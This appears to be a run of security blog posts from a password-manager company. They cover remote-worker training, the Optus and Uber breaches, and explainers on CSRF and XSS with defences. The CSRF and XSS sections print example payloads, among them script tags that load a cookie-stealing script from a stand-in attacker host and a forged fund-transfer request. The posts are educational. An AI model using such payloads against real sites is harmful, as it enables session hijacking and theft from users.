See the best way to come up with a new username. We break down types of usernames and give you the best username ideas out there.

See the best way to come up with a new username. We break down types of usernames, why ...

How to Make a Good Username | Create a Unique and Secure Username

See the best way to come up with a new username. We break down types of usernames, why secure usernames are important, and how to create them effectively!

<a href="https://www.mckinsey.com/industries/real-estate/our-insights/americans-are-embracing-flexible-work-and-they-want-more-of-it" rel="follow noopener" target="_blank">Remote work is becoming more popular</a> than ever. Employers realize the cost-saving and productivity-boosting benefits of having their teams out of the office and working from their homes, and things seem to be going well. However, one issue that continues to plague remote teams is the possibility of cybercrime and data breaches. Hackers know that remote employees are often not as equipped to thwart attacks and target them with a vengeance.&nbsp;
The solution is for management and administration to train and educate their teams on cybersecurity. Talk to your employees about what they can do to protect their company and the customers' data from the machinations of cybercriminals.&nbsp;
Let&rsquo;s get specific on how you will make this happen.
<h2>Cybersecurity Training Is Key</h2>
To start your team off on the right foot, your company should incorporate an extensive cybersecurity training program into your employee orientation schedule. This will give them the training they need from day one. <a href="https://www.wizer-training.com" rel="follow noopener" target="_blank">Wizer</a> is a great tool that provides effective and thorough cybersecurity training for teams.&nbsp;
<h3>Explain the Consequences of a Cyberattack</h3>
Remote employees have the best of intentions but may not realize the stakes of a breach at your organization. When working from the comfort of home, cyberthreats seem distant and it&rsquo;s easy to forget that anyone can be the weak link that allows a cyberattack to succeed.
During instruction, give the team a clear picture of what your organization and the individuals on your team will face if a breach does occur. Common consequences resulting from a breach are:
<ul>
<li style="font-weight: 400;" aria-level="1">Reputational damage to the corporation that leads to job loss</li>
<li style="font-weight: 400;" aria-level="1">Corporate responsibility for millions of dollars of damages and fines resulting in lay-offs</li>
<li style="font-weight: 400;" aria-level="1">Legal repercussions that force the company to close its doors</li>
</ul>
The point is that cybersecurity is the responsibility of every employee, from the CEO to the mailroom clerk, and it&rsquo;s in everyone&rsquo;s best interest to protect the company and its future.&nbsp;
<img src="https://cdn.buttercms.com/hvd8k1uISfeNd3yLAaud" alt="undefined" width="757" height="473" />
<h3>Confirm Employees&rsquo; Understanding</h3>
Once their cybersecurity training is complete, every employee should sign off on a memo stating that they understand the crucial nature of what they learned and may be held responsible if they fail to report a potential threat.
<h3>Revisit and Refresh Cybersecurity Training</h3>
Cybersecurity training is not one-and-done. As vulnerabilities get patched and people become wiser to common scams, cybercriminals adapt accordingly with ever more sophisticated attacks. When your IT team learns of a new cyber threat, management should require all employees to undergo supplemental training that prepares them to handle it appropriately.
<h3>Report Attempted Attacks</h3>
Every organization should have a designated cybersecurity point of contact. Ideally, this will be someone who has a background in cybersecurity or has at least taken additional training in cybersecurity best practices. When an employee receives a suspicious email or other suspected cyberattack, they should let the internal point of contact know immediately.&nbsp;
Employees can also help make the internet safer by reporting phishing attacks to organizations like the <a href="https://apwg.org/reportphishing/" rel="follow noopener" target="_blank">Anti-Phishing Working Group (APWG)</a> by forwarding phishing attack emails to <a href="mailto:reportphishing@apwg.org" rel="follow noopener" target="_blank">reportphishing@apwg.org</a>. APWG, and groups like them, analyze and share data from reports to help stop cybercriminals before they can victimize others.&nbsp;
<h2>Talk About Sharing Data</h2>
Now that your remote team members understand the big picture, teach them where their data is shared and how to properly access, share, and use it to minimize risk.&nbsp;
<h3>Sharing Data on the Cloud</h3>
Almost all companies now use some form of cloud storage or service. A common example for most of us is our email account. Take Gmail: Google has floor space for servers and hardware and maintains all the software that allows you to log into your account from anywhere. Gmail is an example of a public cloud.&nbsp;
Your team should know the <a href="https://businessdegrees.uab.edu/blog/private-public-and-hybrid-clouds-whats-the-difference/" rel="follow noopener" target="_blank">differences between public, private, and hybrid clouds</a> and the associated risks in using each. Your IT department may have different policies for each type of service.
Public accounts are generally the least expensive but are also the least secure. A third party such as Google, Amazon, or Microsoft handles maintenance which frees up your IT team&rsquo;s time. In return, you sacrifice security and control.
Private servers are owned and maintained by a private organization. They offer your team greater security and flexibility, but the price can be prohibitive.&nbsp;
Hybrid cloud accounts are a combination of both public and private. An organization may use a public cloud for email but restrict sensitive data to a private cloud.&nbsp;
It is important to inform your teams that even with some protection on the cloud, they still need to keep watch for scams and inform management if they see anything suspicious.&nbsp;
<h3>User Access&nbsp;</h3>
Remote employees should know that not everyone in the organization is entitled to see and use the same data. Every employee should only have access to what they need to do their jobs and should not share information unless they are given the approval to do so.&nbsp;
To make this process easier to understand, consider creating an <a href="https://www.lucidchart.com/pages/tutorial/organizational-charts" rel="follow noopener" target="_blank">organizational chart</a> that includes the title and clearance level of every employee. That way, when in doubt, your team can refer to the organizational chart and see what sensitive information can be passed to which team members.&nbsp;
<h2>Create and Follow Smart Security Practices</h2>
<h3>Off-Board Employees Properly</h3>
Note to management: when an employee leaves your organization, you must revoke their system access so an upset former worker can&rsquo;t get in and steal or manipulate your data. Having strong off-boarding procedures will simplify this process, while tools like a password manager can make it even easier.&nbsp;
<h3>Make Training Best Practices into Company Policy</h3>
When your team works remotely, it is difficult to monitor all of their computers for potential threats. Management should advise their teams of the strategies they must implement to protect their devices and their data at all times. Use the cybersecurity training you provide to establish clear policies and procedures everyone can follow. And revisit these regularly.
<h2>Use the Right Tools</h2>
<h3>Save Data on Backup Servers</h3>
In addition to keeping all corporate information on the main server, you should also have backup servers so that you can restore your information immediately in the event of a virus or ransomware attack. Don&rsquo;t forget to inform your team that the company&rsquo;s information is backed up; it can help put their mind at ease.
<h3>Invest in a Password Manager</h3>
Give your team a password manager to make it easy for everyone to use complex passwords that include a combination of upper and lower case letters, numbers, and special characters. <a href="https://teampassword.com/blog/how-to-build-a-passphrase" rel="follow noopener" target="_blank">Building a strong passphrase</a> can also give them extra protection. Also, let them know the<a href="https://teampassword.com/blog/the-importance-of-responsible-password-management" rel="follow noopener" target="_blank"> importance of responsible password management</a>, including keeping passwords in encrypted environments and never sharing them via unsecured platforms such as email.&nbsp;
Managing passwords and logins can be a big hassle for busy companies with remote workers. At TeamPassword, we believe that passwords should be secure, easy to access, and, most importantly, reliable. Our easy-to-use, encrypted environment allows you to create, update, and access passwords anywhere. Your passwords are divided into different folders called Groups, so employees only see what they need.&nbsp;
<img src="https://cdn.buttercms.com/W06bJ4BSoCDG7A7bhQ8Q" alt="undefined" width="535" height="474" />
Managing permissions for individual team members is a breeze. Should the time come that you need to revoke a user&rsquo;s access to all of your passwords, you can do so with the click of a button. Then, use the built-in password generator to create new strong passwords for every login.
<a href="https://teampassword.com/password-generator" rel="follow noopener" target="_blank"><img src="https://cdn.buttercms.com/rAqIb5pdSBWEHxSGdpRT" alt="undefined" width="786" height="387" /></a>
<h3>Use a Virtual Private Network (VPN)</h3>
Employees who leave their homes to work at public places like coffee shops or restaurants need to be advised about the importance of not misplacing their devices and not logging onto public Wi-Fi unless they know it is a legitimate connection and not a fake network set up by a hacker. The best way to be sure is to ask an employee at the establishment. They should also install a virtual private network on their device; the VPN will automatically encrypt their information so it cannot be used even if it is stolen.
<h3>Install Anti-Virus Software</h3>
Finally, express the importance of installing and using up-to-date antivirus software on their systems. Employees should run scans multiple times weekly to catch an issue before it ravages their system. Your IT team should always ensure that your teams are updated to the newest version of their antivirus program, so they can be protected against the latest threats.
<h2>Conclusion</h2>
In the end, protecting the company against cyber threats is a team effort. Educating your remote employees about good cybersecurity is in everyone&rsquo;s best interest. Implement these tools and training, and keep your organization secure against cyberattacks.

Remote work is more popular than ever, but companies struggle to train and equip remote employees to respond appropriately to cyberattacks.

Remote work is becoming more popular than ever. Employers realize the cost-saving and productivity-boosting benefits of having their ...

How to Talk to Remote Employees About Cybersecurity

Remote work is becoming more popular than ever. Employers realize the cost-saving and productivity-boosting benefits of having their teams out of the office and working from their homes, and things seem to be going well. However, one issue that continues to plague remote teams is the possibility of cybercrime and ...

Optus, the second-largest telecommunications company in Australia, confirmed on September 22nd that roughly 9.8 million personal records of current and past customers were leaked. They had no additional info at the time, which left those affected feeling helpless and betrayed.&nbsp;
An unidentified person has taken responsibility for the hack. The hacker demanded $1 million to delete the data. Otherwise, they would release 10,000 personal records a day until they received payment.
The alleged hacker followed up on their threat - once. When payment was not received, they released 10,000 records that likely went straight to the dark web to piece together some profiles - a process whereby bots analyze whether criminals have enough information to target someone with scamming or identity theft. The hacker has since withdrawn their demand, apologized for their actions, and has not released any additional records.&nbsp;
Affected records include everything from phone numbers to driver&rsquo;s licenses and passport numbers.&nbsp;
<h2>Backlash</h2>
Investigating a breach is no small undertaking, and it&rsquo;s impossible to know for certain if Optus acted slower than other industry giants would in an identical situation. However, their attitude and lackluster communication resulted in severe backlash from the Australian government and general public.
Optus framed itself as the victim of a cyberattack despite no evidence of how the personal records were accessed. In an interview with <a href="https://www.smh.com.au/technology/optus-commissions-independent-review-into-hack-20221003-p5bmr5.html" rel="follow noopener" target="_blank">the Sydney Morning Herald</a>, CEO Bayer Rosmarin said, &ldquo;There has been no review and no report on the nature of what has occurred&hellip; so anyone saying anything about it is not talking from a position of knowledge.&rdquo;
This attempt to control the narrative left government officials unimpressed.&nbsp;
Government Services Minister Bill Shorten told reporters, using a suitably Australian metaphor: &ldquo;Optus senior management are kidding themselves if they want a medal for the way that they&rsquo;ve been communicating. Not even a crocodile&rsquo;s going to swallow that.&rdquo;&nbsp;
<h2>The Situation Worsens</h2>
Two weeks later Optus provided additional info. After combing through logs, they claim that only 2.1 million personal records were exposed, of which 900,000 are expired. They said that all affected persons had been contacted, warned users not to open links from email or SMS, and recommended the My Optus app as the safest way to communicate with them.&nbsp;
However, the leaked data goes back to 2017 and includes many ex-customers. How will these people be contacted safely? Does sending one email count as &ldquo;contacted&rdquo;? No one knows. And scammers are capitalizing on the confusion.
Customers are seeing phishing emails, phone calls, and SMS or social media messages asking users to order new SIM cards or update billing information in order to secure themselves from the attack.&nbsp;
<img src="https://imageresizer.static9.net.au/DNxRJtnZyv_3cSTit0z00SxuAl4=/500x0/https%3A%2F%2Fprod.static9.net.au%2Ffs%2F81445f8b-5d9d-4eb6-a475-4503a4115f4a" srcset="https://imageresizer.static9.net.au/DNxRJtnZyv_3cSTit0z00SxuAl4=/500x0/https%3A%2F%2Fprod.static9.net.au%2Ffs%2F81445f8b-5d9d-4eb6-a475-4503a4115f4a 500w, https://imageresizer.static9.net.au/8giVCxs0LcluhV8nbc6w6CHSXy0=/600x0/https%3A%2F%2Fprod.static9.net.au%2Ffs%2F81445f8b-5d9d-4eb6-a475-4503a4115f4a 600w, https://imageresizer.static9.net.au/v7aYqCtwFfAW06vEI2E0JbP_2fw=/800x0/https%3A%2F%2Fprod.static9.net.au%2Ffs%2F81445f8b-5d9d-4eb6-a475-4503a4115f4a 800w, https://imageresizer.static9.net.au/-SfHZJctTIAHRMcJl4wXJZsNEAc=/1000x0/https%3A%2F%2Fprod.static9.net.au%2Ffs%2F81445f8b-5d9d-4eb6-a475-4503a4115f4a 1000w, https://imageresizer.static9.net.au/HiNJ6jw4HpAkMbpJdRakYwRCuus=/1200x0/https%3A%2F%2Fprod.static9.net.au%2Ffs%2F81445f8b-5d9d-4eb6-a475-4503a4115f4a 1200w, https://imageresizer.static9.net.au/mG2v3q3g846PwNGrMjzceIhz9Oc=/1600x0/https%3A%2F%2Fprod.static9.net.au%2Ffs%2F81445f8b-5d9d-4eb6-a475-4503a4115f4a 1600w" sizes="(min-width: 1024px) 800px, (min-width: 768px) 600px, 500px" alt="Scamwatch shared these two separate examples of scams following the Optus cyberhack. Correspondence about sim cards should be deleted, and any correspondence about bill &quot;issues&quot; treated with a high level of caution." width="389" height="219" />
The government agency Scamwatch took the initiative to warn customers about these scams. &ldquo;Optus is not contacting people about their bills and asking you to update information.&rdquo;&nbsp;
In the absence of other directions, people are scrambling to update their passports and driver&rsquo;s license numbers.
<h2>How was the data exposed?</h2>
Knowledge of how the breach occurred is frustratingly scarce.&nbsp;
According to Security Boulevard, &ldquo;Unconfirmed reports suggest that an API Gateway was being used by Optus. If so, that API gateway failed to sufficiently rate limit the attacker's access to Optus's sensitive data.&rdquo;
Security Boulevard <a href="https://securityboulevard.com/2022/10/optus-data-breach-why-vulnerable-apis-are-to-blame/" rel="follow noopener" target="_blank">provides a good overview</a> of possible API vulnerabilities that led to easy personal information extraction. Time will tell if this was the weak link.&nbsp;
Optus is noncommittal regarding whether or not they will release the full review being done by consultancy firm Deloitte. Perhaps this is Optus's ill-conceived attempt to make things seem less bad. If so, they failed to consider that the human imagination proliferates catastrophes, and the possibility that 2.1 million identities are compromised gives it ample fodder.&nbsp;
Optus is now <a href="https://www.optus.com.au/support/cyberattack" rel="follow noopener" target="_blank">attempting open communication through its website</a>, but it may be too little too late to save face.
We&rsquo;re waiting on the results of the investigation to form a picture of what you can do to prepare for future breaches of this nature, or how you can take action to mitigate risk now. Fingers crossed that the findings will get released to the public.&nbsp;
Optus has dug itself a bit of a hole. Government fines loom on the horizon, and user trust is eroded. We shall see how they choose to proceed.&nbsp;
To be continued&hellip;

Learn why Optus got lambasted by the government and public alike for their communication surrounding 9.8 million stolen records.

An overview of the Optus Breach so far: what happened, how Optus responded to victims of the breach, ...

The Optus Breach: How Not to PR

An overview of the Optus Breach so far: what happened, how Optus responded to victims of the breach, and why their communication was lambasted by the government and public alike.

2022 has been a year of tech giants getting breached. Human fallibility continues to be, for the most part, the weakest link in company security. More on that later.&nbsp;
The latest victim is the ubiquitous ride-sharing company, Uber.&nbsp;
<h1>The 2022 Uber Breach - What, How, and Lessons Learned</h1>
This isn&rsquo;t the first time Uber has been breached. In 2016 they allegedly paid hackers $100,000 to delete the data they stole and keep the breach a secret. A year and CEO change later, the hack was publicized, revealing that personal information from over 50 million Uber riders and the driver&rsquo;s license numbers of 600,000 US drivers had been leaked.
Every publicized breach is a chance to learn and prepare. In this article, we will briefly cover what happened with the Uber breach of 2022 and then discuss what companies should do to shore up their defenses.&nbsp;
For more details about the breach itself, Uber <a href="https://www.uber.com/newsroom/security-update/" rel="follow noopener" target="_blank">maintains their own newsroom</a> covering the situation.&nbsp;
<h2>How did the Uber breach happen?</h2>
The 2022 Uber breach was a &ldquo;<a href="https://teampassword.com/blog/your-passwords-are-only-as-secure-as-your-teams" rel="follow noopener" target="_blank">social engineering</a>&rdquo; attack. In social engineering attacks, cybercriminals use psychology to manipulate users into disclosing secret information or taking an action that allows the criminal to access private data.&nbsp;
In this case, one Uber contractor unknowingly allowed the hackers the access they needed. Uber states that &ldquo;It is likely that the attacker purchased the contractor&rsquo;s Uber corporate password on the dark web, after the contractor&rsquo;s personal device had been infected with malware, exposing those credentials.&rdquo;&nbsp;
The attacker then employed an increasingly common attack called MFA (multi-factor authentication) Fatigue. They repeatedly attempted to log in with the stolen password, which caused the contractor to be spammed with authentication requests. Eventually, either by accident or to make it stop, the contractor accepted one such request.
With access to one account, the hacker was able to get into other employees&rsquo; accounts and further elevate their permissions. They took the opportunity to boast of their feat internally.&nbsp;&nbsp;
<img src="https://cdn.buttercms.com/EoRmRO0rRBSwr8DQBQQw" alt="undefined" width="665" height="393" />
Uber has taken cautionary steps, including mandatory password resets and locking down its codebase.&nbsp;
<h2>Who was responsible for the Uber breach?</h2>
They believe LAPSUS$, a hacking group that has taken credit for breaches of Nvidia, Samsung, and Microsoft, to name a few, is responsible.&nbsp;
LAPSUS$ itself is an interesting rabbit hole. They first made headlines by hacking Brazil&rsquo;s Ministry of Health and deleting the health records of millions of people (thankfully the government had backups). LAPSUS$ later breached Nvidia - a technology company famous for its GPUs -&nbsp; and demanded that they make their drivers open-source if they did not wish their data leaked. In March of this year, the London police arrested seven teenagers related to the group. All have since been released, and LAPSUS$ continues its prolific run.&nbsp;
LAPSUS$&rsquo;s goal is unknown, nor do authorities know whether they have backing from a larger organization. Recent activity suggests that members operate from the UK and US, though some suspect ties to South America given their propensity for targeting that region.&nbsp;
For more information about LAPSUS$, Krebs has done great work <a href="https://krebsonsecurity.com/?s=%22lapsus%24%22" rel="follow noopener" target="_blank">documenting their activity</a>.
<h2>What can we learn from the Uber breach?</h2>
The breaches at Microsoft, Cisco, Uber, etc. all have a common pattern. There were no incredible feats of &ldquo;hacking,&rdquo; where a genius criminal breaks through security systems with sweat dripping down their brow as shown on TV. Instead, the attacks were intentional, methodical, and exploited human fallibility.&nbsp;&nbsp;
Humans are the easiest and often the weakest target. Many people see through and avoid becoming victims of social engineering tactics. But among companies like Uber, which employs over 29,000 people and has 122 million users each month, or T-Mobile (<a href="https://teampassword.com/blog/t-mobile-data-breach-2021-what-happened" rel="follow noopener" target="_blank">victim of a major breach in 2021</a>), which employs 75,000 people and outsources much of its customer support, there are more than a few prime targets for cybercriminals.
We may sound like a broken record exhorting you to educate your employees and demand security best practices. But seriously - educate your employees and demand security best practices!
If we&rsquo;ve learned anything from recent breaches, it&rsquo;s that they would not have been possible without successful social engineering.&nbsp;
<h2>How could the Uber breach have been prevented?</h2>
The Uber hackers followed two relatively simple steps:&nbsp;
<ol>
<li style="text-align: left;">Buy compromised passwords</li>
<li style="text-align: left;">Social Engineer an employee&nbsp;</li>
</ol>
<h3>Improve Password Hygiene</h3>
Individuals and companies can reduce the risk of compromised passwords by regularly scheduling password changes. Setting a reminder to appear every 90 days on your phone to change vital passwords and run manual security checks makes it less likely for your passwords to be available for purchase. There are also programs that will monitor personal devices in real-time. These precautions alone aren't enough, as even relatively new passwords can be compromised.&nbsp;&nbsp;
For added security and convenience, <a href="https://teampassword.com/" rel="follow noopener" target="_blank">use a password manager like TeamPassword</a>. Password managers encrypt and store all of your passwords in one secure location. Many even include built-in password generators and mandatory 2FA.&nbsp;
<h3>Use 2FA</h3>
To counter the second step - social engineer an employee - you should use the best 2FA available and stay calm in the face of urgent requests to bypass the security measures you have in place.&nbsp;
Not all 2FA methods are equally effective. Authenticator Apps that generate One-Time-Passwords (OTP) directly on your device and refresh them regularly are more secure than SMS sent via a cellular carrier to your phone. The danger of SMS is mostly due to the possibility of SIM-swapping, where a criminal convinces a carrier to transfer a customer&rsquo;s number to the criminal&rsquo;s own device, thus gaining control of any OTPs. The <a href="https://krebsonsecurity.com/2021/10/fcc-proposal-targets-sim-swapping-port-out-fraud/" rel="follow noopener" target="_blank">FCC is making attempts to stop this</a>, but SMS is still widely used and remains vulnerable.&nbsp;
Using 2FA can be annoying. It requires you to use a second device, and the time it takes adds up. But the security it provides is worth the cost. So use it if you can.
<h3>Don&rsquo;t Act - Ask</h3>
Finally, common sense and a healthy dose of skepticism are essential components of a strong defense. If a request for information seems urgent, doesn&rsquo;t seem familiar, or make sense, then it&rsquo;s best to pause, consider, and confirm. Call the sender or ask a colleague to take a look. No one wants to &ldquo;cry wolf,&rdquo; but cybersecurity is a complex subject, and caution will be appreciated more often than not.
It&rsquo;s always better to get a second pair of eyes on the situation.&nbsp;
<h3>Consider Using Hard Tokens</h3>
The Uber breach has also raised questions about hard vs. soft tokens. Soft tokens are software-based like MFA that uses a passcode or pin. Hard tokens are physical objects that grant access, like a USB or fob.&nbsp;
Hardware tokens are generally much more secure, as proven by the <a href="https://blog.cloudflare.com/2022-07-sms-phishing-attacks/" rel="follow noopener" target="_blank">failed phishing attack on Cloudflare</a> and <a href="https://krebsonsecurity.com/2018/07/google-security-keys-neutralized-employee-phishing/" rel="follow noopener" target="_blank">Google&rsquo;s success in thwarting phishing</a>. Someone has to physically steal the hard key to gain access. However, hard keys are more expensive to purchase and maintain, which has historically precluded them from all but the most high-security applications.&nbsp;
<h2>Final Thoughts</h2>
Cybersecurity is an incredibly dynamic field. Researching the Uber breach and LAPSUS$ motivated me to take inventory of my current 2FA settings and improve security where possible. Hopefully, this overview of the Uber breach has helped you identify an area of improvement for yourself and your company.

The Uber breach shows that human fallibility continues to be weakest link in company security. What can we do about it?

2022 has been a year of tech giants getting breached. Human culpability continues to be, for the most ...

The 2022 Uber Breach

2022 has been a year of tech giants getting breached. Human culpability continues to be, for the most part, the weakest link in company security. More on that later. The latest victim is the ubiquitous ride sharing company, Uber. This isn’t the first time Uber has been breached. In 2016 ...

In our second article of this cybersecurity series, we will be taking a look to Cross-site request forgery (CSRF). As a password manager, <a href="https://teampassword.com/" rel="follow noopener" target="_blank">TeamPassword</a> takes pride in maintaining your password data secured from attackers, but passwords managers alone cannot keep you safe. It is necessary to be aware of the main attack vectors that hackers may use to exploit cybersecurity vulnerabilities and be mindful of them while browsing the Internet.
<h1>What is cross-site request forgery and how can you defend against it?</h1>
<h2>How does CRSF work?&nbsp;</h2>
Cross-site request forgery, abbreviated as XSRF or CSRF, is an attack that attempts to have users unknowingly execute actions on a web application for which they are currently authenticated. This attack is similar to the <a href="https://teampassword.com/blog/cross-site-scripting-xss-what-it-is-and-how-to-defend-against-it" rel="follow noopener" target="_blank">Cross-site scripting attacks (XSS)</a>, but it exploits a different type of trust: the trust that a web application has in an authenticated user.
Using this type of attack, the hacker could, for example, change the user's email address or password in the vulnerable web application, transfer funds from the user's bank account, or gain control over the user's account.
For the CRSF to work, four conditions need to happen:
<h3>1. Cookie-based session handling.</h3>
By definition, a cookie is a piece of data from a website that is stored within a web browser that the website can retrieve at a later time. Every time we log into a web application, a cookie is sent automatically to our browser so that the web application can verify our login. This way, we will be authenticated by this web application and we can take any actions we want within it.&nbsp;
<h3>2. No unpredictable request parameters.</h3>
The action request (for example, changing the user's email address) does not contain any parameters whose values will be unknown to the attacker.&nbsp;
<h3>3. The user clicks the malicious URL.</h3>
This is usually done by social engineering to trick the victim into clicking the URL that the attacker carefully crafted. Once clicked, the action request will be triggered without the user knowing it.
<h3>4. The user must be logged in to the vulnerable web application.</h3>
If the user is logged in to a vulnerable web application, the attacker can use the CRSF attack to exploit it, so it is always safer to log out before browsing the Internet.

<h2>An Example of a CSRF Attack</h2>
For example, let's say the user has logged in to an online banking web application. The user's browser will now have a session cookie that authenticates it in that web application.
The user decides to browse their favorite forum while being logged into that web application. There, they stumble upon an interesting post with a link, and they click it. The link looked like this, but he didn't notice it at the time:
<pre class="language-undefined"><code>&lt;a href="http://vulnerable-bank.com/transfer_funds?acct=JOSE&amp;amount=3000"&gt;Check it out!&lt;/a&gt;</code></pre>
Without them knowing, clicking the link has triggered a request action that sends the user's funds to the attacker's bank account.
The request might look like this:
<pre class="language-ruby"><code>POST /transfer_funds HTTP/1.1
Host: vulnerable-bank.com
Content-Type: application/x-www-form-urlencoded
Cookie: SessionID=d3yght4s6

acct=JOSE
amount=3000</code></pre>

<h2>How to prevent CSRF attacks?</h2>
<h3>Prevention by End Users</h3>
Although CSRF is fundamentally a problem with the web application, there are two main actions that end users can take to protect themselves:
1. Before clicking on a link, always double-check that it leads you to a trustworthy website and that is not triggering any action you might not want to take.
2. Remember to log off the website before visiting another, or clear the browser's cookies at the end of each session.
<h3>Prevention by Web Developers</h3>
For the software application itself, there are several ways to harden it to prevent this type of attack:
1. Use secure tokens that the attacker would not know to embed in the link. The best way to achieve this is through a CSRF token. A CSRF token is a secure random token that is used to prevent CSRF attacks. An approach that is normally effective is to transmit the token to the client within a hidden field of an HTML form that is submitted using the POST method. The token will then be included as a request parameter when the form is submitted:
<pre class="language-markup"><code>&lt;input type="hidden" name="csrf-token" value="{{ csrf_token }}" /&gt;
</code></pre>
2. Check the referring URL in requests received from end users and only accept requests originating from their own site.

<h2>Conclusion</h2>
Web applications are complex ecosystems, which makes it important for cybersecurity professionals to harden them against any type of attack. As an end user, it is always good to use reliable applications with certified security, especially if the application handles valuable data for you or your organization. At <a href="https://teampassword.com/" rel="follow noopener" target="_blank">TeamPassword</a>, we take security seriously, as we are the custodians of important password data. Join the hundreds of companies that trust us, and rest easy knowing that your data is in the right place.

Cross-site request forgery attempts to have users unknowingly execute actions on a web application which they are currently authenticated.

Cross-site request forgery, abbreviated as XSRF or CSRF, is an attack that attempts to have users unknowingly execute ...

Cross-site request forgery: what it is and defenses

Cross-site request forgery, abbreviated as XSRF or CSRF, is an attack that attempts to have users unknowingly execute actions on a web application which they are currently authenticated. This attack is similar to the Cross-site scripting attacks (XSS) but it exploits a different type of trust: the trust that a web application has in an authenticated user.

Cybersecurity Series: What is cross-site request forgery (CSRF) and how to defend against it

Here at <a href="https://teampassword.com/" rel="follow">TeamPassword</a> we take security very seriously, as we are the custodians of your very important password data. Password managers are one of many important ways to combat the myriad of cybersecurity attacks that are possible whenever we connect to the internet, but password managers alone cannot keep you safe. In this series we will take a look at cybersecurity through the lens of software developers and show how they keep your data safe from criminals. We will also learn how you can play your part in keeping safe by being aware of the ways in which hackers target users.
<h1>What is cross-site scripting (XSS) and how do you defend against it?</h1>
<h2>How does XSS work?&nbsp;</h2>
Cross-site scripting or XSS occurs when an attacker embeds malicious scripting commands on a trusted website. Websites that have a large amount of inputs are especially vulnerable to this kind of attack since this is how an attacker embeds the script into the website.
There are three types of XSS attacks:
&nbsp; 1. Stored/Persistent XSS
&nbsp; 2. Reflected XSS
&nbsp; 3. DOM-based XSS
Let's give each one of these a closer look!
<h3>1. Stored/Persistent XSS</h3>
This type of attack is called persistent since they remain on the server. Usually, attackers will target websites that accept user input that stays stored in their database, such as forums, blogs with enabled comments, CRM / ERP Systems, web-based email servers or clients, or any other type of website where users can share their content.&nbsp;
For example, let's say that I have a forum website where users can write comments about different topics. The attacker might write a comment like this:
<pre class="language-undefined"><code>The weather is fantastic today! &lt;script scr=&rsquo;http://attackerwebsite.com/stealcookiesscript.js&rsquo;&gt;</code></pre>
Once the attacker submits the comment, it will be stored in the website database and will be rendered for any user that opens the forum page. So, the next time a user opens the page, without them doing anything, the script in that comment will run.
Usually, the attacker will want to steal the user's session cookies. This allows the attacker to compromise the user's account, granting them access to the user's personal information and credit card data. Meanwhile, the visitor, who may never have even scrolled down to the comments section, is not aware that the attack took place.
<h3>2. Reflected XSS</h3>
This type of attack occurs when an application allows reflected input.
For example, let's say the attacker finds a website where you can search for "XSS" and the website returns (or reflects) a page with the heading "You searched for XSS", followed by the search results. 
Instead of just searching "XSS" the attacker might want to search for:&nbsp;
<pre class="language-undefined"><code>&lt;script scr=&rsquo;http://attackerwebsite.com/stealcookiesscript.js&rsquo;&gt;</code></pre>
thus, creating a URL like this:
<pre class="language-undefined"><code>https://insecure-website.com/search?term=&lt;script scr=&rsquo;http://attackerwebsite.com/stealcookiesscript.js&rsquo;&gt;</code></pre>
But this by itself doesn't do any harm since it is not reaching any other users. Unlike with Stored/Persistent XSS, for the Reflected XSS to work, the user needs to click a link from the attacker.
So, how does the attacker get a user to click their link? Simple, it is just about embedding it in a link and sending it to other users in a seemingly harmless email or blog comment for example, and wait for someone to click. The question is, why would the user do that? Usually, the attacker will use some sort of social engineering (for example, pretexting or phishing) to manipulate the user into taking that action.
Once this link is clicked, the script will run since the website will reflect the search query (which is the malicious script).
<h3>3. DOM-based XSS</h3>
This type of attack uses the code originating from the website to execute the malicious script.
For example, let's say we have a website with 3 different tabs and it renders different images depending on the tab we click. This whole logic is driven by a script that can be checked in the DOM. So we have these URLs:
<code>https://vulnerable-website.com/frame#1</code> when we click on the first tab. It renders the image <code>&lt;img src="cloud1.jpg"&gt;</code>
<code>https://vulnerable-website.com/frame#2</code> when we click on the second tab. It renders the image <code>&lt;img src="cloud2.jpg"&gt;</code>
<code>https://vulnerable-website.com/frame#3</code> when we click on the third tab. It renders the image <code>&lt;img src="cloud3.jpg"&gt;</code>
By making use of the logic inherent to the website, the attacker can do:
<pre class="language-undefined"><code>https://vulnerable-website.com/frame#1' oneerror='alert()'</code></pre>
This causes an alert to pop up when using the link, and the attacker has just worked around the DOM of the website.
And just like in Reflected XSS, the attacker can embed the link and send it to other users in hopes they will click and the malicious code will run on their end.

<h2>How to prevent XSS attacks?</h2>
Simply enough there are two things we can do to prevent these kinds of attacks:
<h3>1. Input validation.</h3>
The best solution is to determine the type of input that the application and create an input validation that matches the input from the user to the type of input we want to allow. If we are expecting the user to input some numbers, we shouldn't allow letters in the input. We can do this in the front-end and the back-end (or in both at the same time), but if we had to choose, it is preferable to do it in the back-end since the attacker won't be able to modify the code of the application itself by normal means.
<h3>2. Be careful of the links we click.</h3>
Think twice and check URLs before clicking. This is an easy prevention on the user side. To check if a link is malicious, hover on top of the link and the browser will show the URL where this link will direct you. If the URL looks suspicious, double-check with other people in our organization or just write the website we want to go to in the browser.

<h2>Conclusion</h2>
Nowadays, cybersecurity is becoming more and more trendy. That shows just how insecure the Internet is becoming by the day. While there is just so much that we can do as end users, it is important to keep in mind the dangers lying ahead and be mindful of our behaviors online. Aside from that, it is always a good idea to rely on security oriented companies. At <a href="https://teampassword.com/" rel="follow noopener" target="_blank">TeamPassword</a>, we work every day so that both individual users and organizations can store and share their password data in a safe way. Join the hundreds of companies that trust us, and rest easy knowing that your data is in the right place.

XSS vulnerabilities can be hidden in plain sight. Knowing what they are and how to defend against them can keep you and your business safe.

Cross-site scripting or XSS place malicious scripts on trusted websites, creating security vulnerabilities where the are least expected. ...

Cross-site scripting (XSS): what it is and defenses

Cross-site scripting or XSS place malicious scripts on trusted websites, creating security vulnerabilities where the are least expected. How does XSS work? And how can you prevent it? This article will answer both questions to help protect you, your team, and your business.

Cybersecurity Series: What is cross-site scripting (XSS) and how do you defend against it

Online businesses can be lucrative, but they come with the risk of cyberattacks, which have become routine events these days.&nbsp;

We regularly hear news about data breaches and other types of attacks using new techniques to steal customers' information and hack websites.&nbsp;Many businesses have suffered massive losses because of cybercrimes. To succeed in the e-commerce business it is essential to create a safe environment for your customers.&nbsp;

How can you ensure online business security? This article is a comprehensive guide to help you secure your online business and prevent a potential cyber-attack. Let's get started.

<h1 style="text-align: left;">Want to Secure Online Business? Follow These 8 Effective Tips</h1>
<h3 style="text-align: left;"></h3>
<h3 style="text-align: left;">Install Anti-virus Software</h3>
Virus, <a href="https://ransomware.org/">ransomware</a>, and trojan horse attacks are common. However, using anti-virus software can mitigate the risk of cyberattacks to a considerable degree.&nbsp;

